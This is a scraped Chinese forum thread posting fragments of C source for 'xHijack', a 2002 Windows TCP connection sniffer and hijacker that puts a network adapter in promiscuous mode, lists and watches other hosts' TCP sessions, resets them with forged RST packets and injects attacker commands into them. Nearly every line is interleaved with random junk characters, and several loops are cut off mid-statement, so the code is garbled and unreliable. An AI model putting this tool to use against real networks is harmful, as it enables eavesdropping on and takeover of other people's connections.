$ h# \$ x% k" ?0 H( X  g_dwAction = ACTION_NONE; + z' g8 k  F7 y
} : v2 v& A3 a7 S8 y

. Y: m/ x4 q, h/ Y1 R$ ^1 Q// 8 }( t- T# Z2 x5 j
//功能:处理Ctrl+C和Ctrl+Break事件 $ c1 ?. t( {4 _! r1 ^" ]. m+ Q$ E
// * s$ t4 _+ ]: y2 W! Z9 Y2 r5 P* H/ f
BOOL WINAPI CtrlEvent(DWORD dwCtrlType) # D) z0 `; t. s# K5 K
{
5 @, c* v' _, p- t  switch(dwCtrlType)
' A' k, w. b2 B  ^7 A2 p5 ^, i0 A5 _  { 9 s: f% T" @/ Z$ }" z
    case CTRL_BREAK_EVENT: ( V# F, b* }! ^( \- p. `* y
      //reset action all flag 7 n9 H( c* h- u' ~* G& B
      ResetActionAllFlag();
- m5 _6 n' Y$ a6 w      break; 5 d* ?: J, e. n/ o5 Q4 F6 o# K
    case CTRL_C_EVENT: 7 f3 A. v3 Y) O  i9 Q* J8 Q( n
      //terminate all thread
7 v( I+ a6 m7 A2 V8 y. |& {      TerminateThread(g_hThread[0], 0); : }1 Q" T1 H% j8 d
      TerminateThread(g_hThread[1], 0);
) B1 g. v$ {' v  E; k' N      TerminateThread(g_hThread[2], 0);
3 L# S, y# e* A) a5 ^# a      TerminateThread(g_hThread[3], 0);
- b6 }) O/ G/ M% g      break;
  I) D2 m& N& ]) }" Q1 _' t. o    default: ; C& y$ C8 l6 R* `* j
      break; : `5 ^( g7 q$ N/ \" l
  } / }9 G" ~) x9 W4 G0 e& o( I  g
  return TRUE; & P1 R! O4 @3 W/ S. H
} $ D% ]5 X' Q7 {" h
. t# g( k1 I% I  D1 B
// 7 [/ X( r9 H5 L6 z1 {, T! K
//功能:处理用户输入
) m5 f9 M# o9 ], A7 h//
7 R' i- |, [+ J. C3 N* z. \3 B4 X0 fDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
' K4 L0 C- I% ~) f3 c* x9 e. P/ b3 w{ - a+ Y: M& ?% u
  DWORD  i; / D& w. s. \" m, r, U2 f( Q5 B
  char  szBuff[16];
  h1 J  G2 z3 D% i1 d, d& ^# ]) U- k6 F! W
  *lpCommandPos = 0;
/ n  ~& S$ O4 ^" k, @  for(i=0; i<15, i代码比较乱 5 {$ V- M( u( I- n6 H, m- o3 _
// ' X* L- a' n  s4 b
DWORD WINAPI InterfaceThread(LPVOID lp)
* H& n4 B" z4 J6 S2 M# B: O; \{ & |7 q5 ^. p$ i  W4 _' V1 a+ T
  char  szHelp[] =  "l\t\t<-- List all connections\n"
0 d# @, q. r, |. s            "r x\t\t<-- Reset the number x connection\n"
2 ~( I  C! V7 {1 @            "w x\t\t<-- Watch the number x connection\n" ) Z# i4 y" ^! o& c: @0 |
            "h x command\t<-- Hijack the number x connection to execute command\n" 1 j- X* z% R, d6 H6 |. T
            "[Note]\n" 1 E% o2 W5 Q! y) P
            "Ctrl+Break to clear all action\n" $ M" r& R' K) P, L. Y2 ?9 c
            "Ctrl+C to exit\n";
6 j6 k' z; |; |: v- r  char  szPrompt[] = "\nxHijack>"; 5 w* Q% L& q  i: G
  char  szBuffer[128]; " h1 O6 t# l: d& Y/ |
  DWORD  dwPos; $ s( _$ Y% c% U/ f% F' i, q
  PCONNINFO  pTmp;
4 k5 T: c# N9 ?/ Z' C: x6 X% X! n: U) Y' W! m- Y4 r
  while(1) * X4 h& B6 ?, T) X5 A
  { " ^0 `8 \7 ], O0 s: a5 _! A3 r! t; ~
    gets(szBuffer);//不考虑buffer overflow
7 k" ^' U+ u( ?* K0 X" N    switch(szBuffer[0])   I+ G! s. A4 ^) e6 d* u
    { 1 @! W' P# F6 A9 X: i9 p3 T
      case 'l': 6 E# F3 r; c) U* ~% v, [- n5 q1 `
      case 'L': - E$ C. m) W+ ^" L& o' H! I" o+ G" X" h6 x
        ListAllConnection();
1 h9 d6 _4 L$ b1 v3 F0 A        break;
6 O- ~. j9 G  K$ z0 t7 X$ ?3 e; C+ ^+ T7 ]      case 'r': 6 ]- K" A4 f" P  [
      case 'R':
; Y0 R- d5 z/ _1 I& R2 u( y# F( E        if(strlen(szBuffer) >2) + g9 c! s8 q: H' Q5 C. C/ ~
        {
, L& Z' P: ]; x2 @          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); 1 s9 k# R' i0 B1 g8 W
          g_dwAction = ACTION_RESET;
$ J. X4 j6 x1 c+ h( |6 s" I1 e        } " O  ^) l4 p4 Y7 F* f3 l  X
        else printf("%s", szHelp);
$ C* _$ t- e2 T        break; ) G+ g* x' J2 K) i" }4 o
      case 'w':
& E  X. {% z' g+ |7 {1 O# [      case 'W':
- }* c) ]/ d; O  u- w8 c        if(strlen(szBuffer) > 2) 2 P+ H. W5 J( B' T" U7 P& r
        {
3 A7 ^2 ^2 z9 y; b9 B3 E% y4 w          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); 7 C) i2 ]% i; V3 S
          g_dwAction = ACTION_WATCH; , S- S- ]6 H" A3 W
        } 2 T: R% d$ W# ~  \, T
        else printf("%s", szHelp); # _4 K3 Y2 A: b5 C4 f) h. E& K
        break;
2 `5 H3 X9 b- o: d8 r; U      case 'h':
" O+ [$ o' Y' m: U      case 'H'://h 1 xxx
, z) A# e- u# }( g        if(strlen(szBuffer) > 5) ) ~& D, k, \: y1 l1 y7 V" e
        {
6 k+ I6 u$ H, C          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
" x4 v+ @5 ?" R. t- p$ f          //如果command第一个字符是'或"
+ h, B) F5 K! R; H* s6 [7 x          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') ) & l, y3 ]8 d  d7 j
          { # I% E" A+ l) o9 X" C
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3); : D9 \8 l  `7 E5 D
            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或" 2 `) u5 J0 l7 I9 q/ T* A+ b2 j& Z- [
          }   Y# Z0 t4 J0 m7 `+ j1 `$ D$ i
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3); : j) S+ S" \. s& [9 \
          strcat(g_szCommand, "\x0D\x0A"); 2 d- L, Z* u( {, C8 J
          g_dwAction = ACTION_HIJACK; ! D7 X! f) F: Z
        }
! F( G7 |! M5 T/ ^! G4 C        else printf("%s", szHelp);
7 B9 _# V4 a9 a: n        break;
  K0 J. f+ y  l4 R. h3 U      default:
; ^+ ?0 A+ `4 z& i        printf("%s", szHelp);
" X" o! E" }0 c3 q  @8 k        break;
& X$ ], z* A6 s, |& i. M    }//end of switch
6 d: Q9 t& O/ j2 L4 d    //find the specify ident's struct point ; `) Q' F" F1 y1 \$ `
    if( (g_dwCtrlConn) && (g_dwAction) )
( z' {+ B( }! N/ z' }    { 4 i  |; |( t: E' V7 u' \
      g_pCurrCtrlConn = NULL;
$ C# `& D9 F' X3 w2 O1 y) u      pTmp = g_pConnHead;
8 n0 u3 \/ @% Y  o' ^8 W8 x6 m      while(pTmp)
: ]. p  I5 m. T$ r, q2 S3 ~      {
# H, V* w( y; C1 v        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) ) 5 E/ p& k5 z5 @9 _8 w6 f, }# L
        { , ?) f9 s: q  [
          g_pCurrCtrlConn = pTmp; ' c5 U9 _( a! F3 G& r. |
          break; 1 g7 O0 h% v8 w5 z
        }
0 `) Z/ ]1 l8 K7 q2 m  R! j        pTmp = pTmp->Next;
7 p( v9 O3 W# g+ o1 t0 Z+ K6 t      } ' [" b% s. ~! f' r2 E
      if(!g_pCurrCtrlConn)
% o2 [% N, `2 N% S, e; [      {
* c& X; o2 B( o& n        printf("Can't find the number %d connection.\n", g_dwCtrlConn); ) r( t4 T! [* w7 j
        //reset action all flag
/ h0 a  N1 R. g: S% a# d        ResetActionAllFlag();       6 Q, [1 c4 `  i! ?" C
      }
: C5 P8 I, U* k% h# Z. H+ U8 Z    } ; h4 n- B9 S: S- e/ v* F+ X  w
    if(!g_dwCtrlConn) ResetActionAllFlag();   Y6 o. x6 K5 ?5 c! \
    //显示当前用户所期望的动作 7 L$ N( b! J+ j" W- ]' `
    printf("\nCurrentAction:");
; t( I) x4 A5 I: J: M% _6 m& V/ S    switch(g_dwAction)
& J! u) q% f  h" G, M    {
% G0 ~; j; m8 a* U3 u      case ACTION_WATCH: " W7 J9 f. _" P7 d
        printf("ACTION_WATCH");
& k% m9 v! b; I% Y" d; Q6 q        break;
* A, P! f# h  n/ Y* T" Q( x  n      case ACTION_RESET: $ Z9 h+ U/ _5 e: b3 p# Q
        printf("ACTION_RESET"); & b! b3 t3 g% h$ [3 n$ V; n- D
        break;
- q: C- i9 J* [5 w6 n7 v7 o) c" z      case ACTION_HIJACK:
0 D5 e% f* |+ e        printf("ACTION_HIJACK"); ; Z5 g* o+ L7 r7 N
        break;
9 T2 ?# D7 H! P      default: - e3 z0 p$ K) ^" A1 Z7 I
        printf("ACTION_NONE"); 2 ]5 {# m& Y! W: m6 G( @( K2 x$ u
        break;
* M4 ^# i. n: C( f- W    } " U1 e" x9 U. ^
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
# f" J2 {; r, Z) e6 R0 v5 V6 E- \  }//enf of while : C9 B# b. I* `
  return 0; + Z) I0 n9 T# F& N" v. V0 Y  ?( l
}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// 5 o* C; {- G/ f# l' ^ //功能:列出当前所有连接 / v; S n- a8 j$ ^// ) u; P" Z3 v9 _' l void ListAllConnection() 0 M& G/ k, Z( a/ O& a{ ' a9 l" v" S8 N- @7 M PCONNINFO pTmp; ( O# o* N' l9 J+ g( S$ d SOCKADDR_IN saDest, saSource; ( [* v# F: b9 ^0 X: ~- N pTmp = g_pConnHead; ! {0 D6 I5 Q( w# t4 v* Q# t while(pTmp) ; Y: E" l( L e; C { 0 ^5 L4 h& A0 b9 B4 c3 a) C if(pTmp->bActive) 1 C5 U* u( w) W) e0 H6 ]7 a4 ] { ! X3 X( _8 J# W saSource.sin_addr.s_addr = pTmp->dwServerIP; , h2 x. m0 K. O7 i saDest.sin_addr.s_addr = pTmp->dwClientIP; 9 U4 Z _1 z: N( D9 z; r1 `# H/ d3 G printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), 1 |& J( A* {5 v" T% K% ] ` ntohs(pTmp->uServerPort)); ( |" b6 Y+ R! Z" { printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 8 k a' S( ^. q2 h } 2 g7 c5 V1 A6 d; X' r5 l1 ^9 R pTmp = pTmp->Next; $ {' o; g% Q) ]0 T) w } : J. r4 e7 L; J} # U* P/ q* ?$ U( S* ]2 ] ' A( E6 {$ N4 t; a6 V% k// ; U4 I6 Y! k* s( L( Z% n //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 ( k6 S/ C* l* m4 w // - u' K9 a6 S0 `; P2 pLPADAPTER InitAdapter() : x$ @/ U, x7 H" _+ k8 I8 e{ / U1 B ^( Y$ X3 f, C4 G' k8 f5 a$ G LPADAPTER lpAdapter; 2 J( p3 I+ m% l. n' [. ?" ~: p5 l( ] static char AdapterList[Max_Num_Adapter][1024]; * E/ n& S g4 @& F char szSelectAdapterName[512]; / j( O& J f( o! D' |0 x/ ^3 l! m WCHAR AdapterName[2048]; ' n9 w# L$ X. a+ B6 x7 U WCHAR *temp,*temp1; 2 j) R, C; T3 n6 ]. X& K: [3 h3 v3 G ULONG AdapterLength = 1024; 7 t- J9 V1 ]2 u5 [! h) ] G$ o int iAdapterNum = 0; : S6 x, Z/ Q. F int iRetCode, i; " `. ] a, C* I8 c, X int iAdapter = 0; ( U, J/ b# o% f3 G9 b0 o# V9 ]# q ULONG ulLen = 0; 9 j8 q2 K8 d1 Z- B! q, ~$ T+ C DWORD dwRet; ! v- p- R- C8 i5 z PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; / ^! U% R9 `& a/ d# F, x PIP_ADDR_STRING pIPAddr; $ {! l$ ?! k7 n) R 6 Q' y8 u [$ f //Get The list of Adapter # p7 c3 | ^% m, ]; b if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) 3 P2 e1 G3 J$ f# Q. z# w/ u { - f1 Q5 a6 {' Q5 E! \& ?9 X3 i" R; M printf("Unable to retrieve the list of the adapters!\n"); " i: j/ \- [& \% H/ b5 _ return 0; 0 I% J+ C0 l4 L' t: e$ j/ r% y" K } 9 d1 n, t+ C" Z; `& E temp = temp1 = AdapterName; 6 s' b- ?5 Q" N/ k- E$ _7 X5 A i = 0; 8 _: H5 R. H, t Y' o0 S while ((*temp != '\0')||(*(temp-1) != '\0')) / ?: [( p$ K/ v; s8 O2 { { ! o. u. Y! D( W( V. ] if (*temp == '\0') 2 m: U" A; N2 m* \- { { 7 ]3 M" N2 z" q1 G, p$ z0 Y memcpy(AdapterList,temp1,(temp-temp1)*2); 0 ^6 ~" k1 ^# T! Q printf("%d - %S\n", i+1, AdapterList); 8 _& Z9 W0 s; n2 S temp1=temp+1; * R* i- @* c& H" a0 \' J; D i++; : l/ l) B% B. f; N# Y } ) H% A* t0 `" w0 f) i0 N" C; \/ P temp++; 2 Y0 f H- o, q) B } # Q* U& e' w; Y- }' q //choose adapter . J9 i/ V) L( \9 D7 E/ B& ~7 [% H while((iAdapter <= 0) || (iAdapter > i)) , P. L: m4 k9 B0 P { : W8 J. v5 F3 T' d# D( O printf("\nPlease choose your Adapter:"); & Q3 | w9 ?. y/ ^ scanf("%1d", &iAdapter); 1 E7 b3 V Z1 j% H; H } ) @: }! Y9 Q2 Y, S+ [" w0 t printf("\n"); - M( }. \6 x \: R; ~( |4 Z //---------------------------------------------// W+ t- m2 t# h9 q6 ^, k- R5 Q //这里调用iphlpapi来取得本地ip_addr和mac_addr 5 P. u/ M8 V# y& o4 }, b. k sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); 4 |0 p* a' Y. P1 }6 o- u dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ( ]1 H; O: B, B: D8 z if(dwRet != ERROR_BUFFER_OVERFLOW) $ j! k$ E/ ^9 U/ B/ t { 2 j4 }% ?, r e/ E/ I, n' Q% G9 z printf("GetAdapterInfo error:%d\n", GetLastError()); 3 W3 G2 b3 {" K# a& M return 0; ! V1 H; D) ^' @/ } } 4 h! ]& K. J+ k- S" N pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); * z/ R X i. K0 M- n/ j; ~7 Y' ` if(!pAdapterInfo) 0 H9 Z6 q' y+ I { 6 F" }1 i: K: k. u5 h* b% @$ }: N printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); 0 b9 y, s, z- J _8 F return 0; ) w8 q/ s* c' {/ u, H8 x' g, H } . s& q* b& U5 x! [' Y3 Y$ A dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 2 O3 z2 e4 M3 R: y$ L0 n if(dwRet != ERROR_SUCCESS) - f# j+ C4 T$ P0 F { - x. \( i/ c7 F3 p4 o) |3 D printf("GetAdapterInfo error:%d\n", GetLastError()); + r& Y8 Q8 y& { return 0; : k: V% F" w! W: S, i/ c2 x4 ^ } 9 A9 u* u4 I7 @' b pTmp = pAdapterInfo; # u" l# n# F$ {' E5 _& M while(pTmp) 9 v3 H! M5 h. G) i7 Z { 8 j/ e( W' k9 y0 { //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) : L. C5 I% x) F { ' K3 j6 M: A3 ^! t; F, J/ n/ Y //found it,get own adapter mac address ; l: Q6 P0 n, x* A" ^3 @+ Q memcpy(g_szOwnMAC, pTmp->Address, 6); 2 g0 y. W2 Z1 A1 d) P( N //get ip address ; `, m) p8 N: I/ B. ^6 t' z0 | pIPAddr = &pTmp->IpAddressList; : \# i! m" B1 u while(pIPAddr) 4 \2 A2 t5 \( T# U { # w3 r2 D( Y& u7 c( M g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); - W# E% B1 {5 a# w& V& G' D+ n) f9 y pIPAddr = pIPAddr->Next; 6 C6 ?4 `) y: f; z if(g_TotalIP >= Max_Num_IPAddr) break; & S2 A2 d u/ _/ B; K } 9 |; }4 R) V! o; ~) A break; 0 Q5 j6 \2 j' V' V } / _0 X4 W2 V& W( H9 A9 R pTmp = pTmp->Next; 3 f" d/ \9 E9 @7 b) C } 4 V7 ?* O# f! o free(pAdapterInfo); . E& V- J$ |# `% M9 D //not found,return zero , B ^2 e! n# S K/ K s if( (!pTmp) || (!g_TotalIP) ) return 0; F. u' j# Z" s$ _' C0 e- j+ ` //---------------------------------------------// , F* m# f* j. C, X //open adapter * l0 h* x5 Q1 ?/ _! c lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); 3 z. |8 g- W& |* G& A$ Z: H if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) * K( n F5 B# l! Z D { ; f1 h- R* Q; h+ w9 `1 \5 u5 S iRetCode = GetLastError(); 6 j1 E% J8 D' @' m printf("Unable to open the driver, Error Code : %lx\n", iRetCode); / a) Y6 V. ]# H+ Q- \+ i( N9 Q return 0; / b' U2 D0 h3 ~1 q } 3 v; [; F; j4 v; C( x" g8 [ // set the network adapter in promiscuous mod 3 _& B3 W$ Q4 {, e6 x2 M& Q8 ~/ N if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) " i# w1 [% ?/ a! _- y* H+ ]' n { - ~5 }- Y/ J% M: Z printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); . R- k# I0 ~3 I; l6 ~; b: d# `, F if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) 8 R( f/ H' A% n* [0 t- { { ! d) U4 q+ H! ` printf("Unable to set ALL_LOCAL mode!\n"); + n* l7 E5 {& ?" Y9 g. b5 ]6 J g2 j4 [# E return 0; ; x A& U# k- {, a9 \ } " W+ f) U! `5 @3 z } ! E; v' r+ r3 o/ l* ~! I4 [3 z // set a 512K buffer in the driver 3 c1 v2 I) Y! e6 q/ f9 W" w if(PacketSetBuff(lpAdapter, 512000) == FALSE) , X) N/ _; w' E" o* c8 X3 o { " j* b5 A4 [/ R S' ?# v) ? printf("Unable to set the kernel buffer!\n"); * y0 z' d; h& |) q v6 c+ O return 0; . @/ H: [% J* r } ; s& h( l' ?# w& n( m. L$ b | // set a 1 second read timeout : Q9 G; |+ l5 ?- W- [' X' R if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) - L9 I- c. t8 w9 C: ~ printf("Warning: unable to set the read tiemout!\n"); + q. A( C" `& N6 v+ |4 D$ y if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 6 `& M) }+ g: H) k: S printf("warning: Unable to send more than one packet in a single write!\n"); 6 t: e! }8 H7 ^8 L$ l5 h //设置发送的packet 1 F9 V' L" p1 S2 y. O8 ^9 G; r1 T g_lpSendPacket = PacketAllocatePacket(); ) ~5 x7 y% {7 k2 g- z! ^ if(g_lpSendPacket == NULL) 9 J, ^5 H: Z+ }- A4 ` { U( A8 M! e1 D# r" d printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 8 [! h" C1 Q8 j9 S' |9 O0 ~ return 0; ( o; P U4 O4 ` C( z. z } 5 }+ v5 Y" X( p, J2 C ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); : f) g, H, e& b7 S! j1 s* b/ b PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); $ X! ]# e6 T, T. C2 E2 N8 l return lpAdapter; @) K% m' O$ p4 m* b } 9 d" T2 N$ N# p4 y& g) j* E% z u5 M8 B, b2 i+ z- _ //功能:帮助信息 ; m1 @& U# |8 y! H3 B* o9 z6 l void usage() / e# `7 D9 d, Z7 m3 N9 \6 |" L4 @7 c{ ( A& D4 C$ s, a printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" % x' \5 H2 o: @! {" V3 J. G( h' ^ "By eyas 2002/8/19\n" 6 g9 z/ m G! b2 Q( Z, j "http://www.ey4s.org\n" ) w2 ? b% L* S. g. @ "Thanks to Refd0m and shotgun\n\n" % k" C2 U: b* L) ] "Usage: xHijack ServerSide ClientSide\n\n"); : x: r8 V6 W) B/ _" a0 _} 3 @8 _* B1 Q8 l9 n 8 A0 j. U, t3 S, D' q, V! C// ; P p# X# I: D! I+ q9 y! c- q* r M //功能:显示数据包的一些详细信息 , k" \ l. i1 u7 W// ! s% n+ \; |0 [, t! U6 L. FVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 6 Z, m3 f/ j. a2 M' R& t- V{ 9 ^2 m; J+ c0 |) C SOCKADDR_IN saDest, saSrc; 8 S% ~- V- V6 D/ L unsigned char FlagMask; 0 Q* l+ P2 {* ^& a- X" n int i; 6 I8 N0 c5 g& ^' ~; Q5 P! R 5 F, i( Z' `- w0 r5 t" P saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; 2 R* f" s5 V8 z ?8 ]4 A4 Z5 F saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; 3 R" h5 k, `" i- b: R printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); 2 `4 r6 @# E6 _2 w2 n* s printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), : k, d4 F: a, R2 H! k$ | ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); * Z1 J. o4 n3 I7 R3 V9 f/ r4 M //display TCP flag - W7 b# Y; T, S" A5 V6 W7 ` for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) ; _$ S, M* X3 F( c# ] { ) [3 L4 O$ ~) G `0 b if((pTCPPacket->tcphdr.th_flag) & FlagMask) 3 f9 O' j( v6 ^4 V4 d1 O/ l printf("%c", g_szTcpFlag); , k/ W- z5 m1 _( _: n- J else printf("-"); 7 i6 X3 r' z& m- R3 J z7 ` } # T' ]0 v- u& y3 ?9 h printf("\n"); ( ?$ y: I6 y: R, V //如有需要,可显示更多详细的信息 3 O; r( W' ?$ `0 L+ H, D if(bDetail) ' ]( ~( J0 g4 m4 z printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); ' k# a. w, A4 o2 M7 u8 q4 Y } ) R0 |4 j, v) x+ P5 Z 9 b: a7 U8 H0 `/ H# e // 8 P# p! ~% V6 X U8 Z7 [5 } //功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 1 s: R+ i7 z, S$ b: Z // , s. E/ j' A# a' l$ \/ Y* u, _ DWORD WINAPI AnalysePacketsThread(LPVOID lp) , R& r7 A0 A4 P4 n2 H* M{ $ p2 Y. D2 M; ?& q0 j( } ULONG ulBytesReceived; ' W5 z p; B7 Q$ J4 i, Q' g USHORT usDataLen; : [7 O+ Q3 j, r //USHORT usIPHeadLen, usTCPHeadLen; & D. m0 V) N/ ]2 r( U8 O; g& o char *buf; ( L1 t' N2 l& c D$ K6 v u_int off, i; - ? Y, ^* O. U4 O6 i/ j, A$ e5 K |0 M PTCPPACKET pTCPPacket; ) `: z) D% Y% x struct bpf_hdr *hdr; - y/ ^3 ^; V" |* q6 B LPPACKET lpRecvPacket; 9 S& \1 ^5 Q2 W, T8 s char szPacketBuf[256000], *pStr; 5 o2 s9 W& A+ S% Q BOOL bDeleteNode, bAddNew; " ?. y) k5 _0 z; X. i& U DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 ( N5 d X; G% { BOOL bClientToServer;//数据包是否从客户端发送到服务器端 ; p- a7 g/ x7 E- g. S! D+ l! y9 n4 s# m; }; W3 W //设置接收的packet _. W5 S2 C& ?2 x& P5 V, w lpRecvPacket = PacketAllocatePacket(); ) k" m& Z% ^) L3 b& m' }0 R if(lpRecvPacket == NULL) $ l0 \/ P9 }1 O# T { ! ^. ^0 ^: s1 V$ | printf("Error:failed to allocate the LPPACKET structure for recv.\n"); 0 r8 T% j2 K- Q6 Y return 0; : y7 T6 F9 f% L1 Y; ~; l } ; W: q3 S b/ Y% ~) q& k7 T2 c ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); / S% ^: t4 b) U: Y( O" V8 @- |: s7 H PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); " M Y. n) Q5 y5 C/ _+ w2 k" J while(1) 5 w' R8 g% I1 `) l { - t8 y' t7 U* K/ f- B // capture the packets " e1 E) t4 \2 K% [' n+ _5 C! W; u if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) ! y, Y- L1 t8 v% l! X% ^ { 1 P1 I8 J) R/ S% E2 r6 o0 u printf("Error: PacketReceivePacket failed.\n"); 0 G8 c, _9 ?7 n' A& {3 _ break; 5 T: s K! A) [3 l } q+ _) V$ r1 p) {( ~: F ulBytesReceived = lpRecvPacket->ulBytesReceived; 2 x' \) s1 s& A( F7 R) n+ { buf = lpRecvPacket->Buffer; # [1 x: B2 P4 U off = 0; , W3 d0 V2 @0 Q% a- s4 `2 L while(off < ulBytesReceived) 8 ^8 y( L8 k0 S5 L$ ]# [, @" c { 4 B2 O& e; S1 ? hdr = (struct bpf_hdr *)(buf + off); 2 b5 X, E0 i: |2 d: z off += hdr->bh_hdrlen; * p7 Q5 p1 ?" I+ \* A' [8 p pTCPPacket = (PTCPPACKET)(buf + off); ! n1 ~. c0 ~9 P$ i) D off = Packet_WORDALIGN(off + hdr->bh_caplen); 8 |0 I" v' G: \; M- C: P: ~' S //不需要处理自己发出的包(转发或本机发送的) 5 m1 Z; S a4 Z; T0 g& s if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; ' O4 g2 x0 t! @ L/ b7 K$ J //检查是否IP包 / I2 W6 P' h+ M1 r2 M if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; : n- w, ]$ H9 Z% h //检查是否TCP包 . ]5 ?3 ]2 A, n# Z6 p( u if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; ; t- V# c' `, v //也不处理DestIP是自己的包 % L+ E2 e2 @: J% o for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
, e" ~2 n4 Z  D5 C) v. n/ q            //reset action flag 1 \" r! y( v) k: @  [* D1 F6 Y
            ResetActionAllFlag(); ! G  _* P7 L) u1 s8 o
          }
9 |, K$ j- ]# `! L2 k          //start hijack ; L' A6 K! I; C
          else if(g_dwAction == ACTION_HIJACK) ( k# ]: d- z) I0 w: g
          { / \+ t4 g4 G( {
            //send rst packet to client
) I1 W9 E$ Y. \7 Z& L8 s  O* X            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
: _5 n3 n) g: a" H9 x            //send hijack packet to client
0 w! u6 Y! v# K- [3 F; t+ J( e            SendHiJackPacket(pTCPPacket);
/ ?. E6 o, }' b, J  K& h- ^            //reset action flag % ]1 B$ S9 M$ z. z. n/ v5 ^
            ResetActionAllFlag();
3 Y- U7 H( ?: T9 C+ [1 s          } 4 [9 I  t( }' v
        }
: R7 M8 X: H3 H9 o& \. M4 h5 Z        //show the tcp data
4 F4 Z) ]  Y7 f3 S. ]+ Z5 O        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
3 v+ d( l/ J" R2 q% O  v& Y        { 1 t7 e2 |" @% m3 Y8 t
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); 8 `" h2 ]/ I' \' s0 w, {
          //暂不考虑IP、TCP头不是20字节的情况 1 e5 Z9 a/ g' O& R4 [+ p
          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
* z7 U0 U6 h* Q          pStr = (char *)pTCPPacket + 54; ) X& t0 p- L$ K7 E% b6 }; _
          for(i=0; i        }
# J* ~% E. T5 J/ Q/ L/ ~* K      }
8 r! e0 s* G, ^9 B& m: ]      //debug output
- ^( j5 {3 W! a# H6 m4 E      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); 2 c3 E3 W0 b6 s( D7 f8 p- O
    }//end of analyse packets while
$ Z& {/ S( S4 L% P! T0 T- t' G  }//end of recv packets while ' u2 @$ D/ |7 y# m$ `
  PacketFreePacket(lpRecvPacket);
* X, A4 ~: n6 N: P; a! E  return 0;
$ ~$ N1 t+ C! q}
1 `. S. |3 \7 z# r/ g+ }. B% g
) j5 |$ G/ b% ?% V) U% M
" `/ i, e- K5 d4 ]3 R; }3 f//
5 ~3 R, [# Q$ X! p  N2 T% Q: U//功能:操作记录所有连接信息的单向链表
. W6 Z- D# R; g//
! `5 G9 ?. g8 e5 S2 t0 TDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
3 J3 E/ ]; s% `+ k; j4 w" I. s% V            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
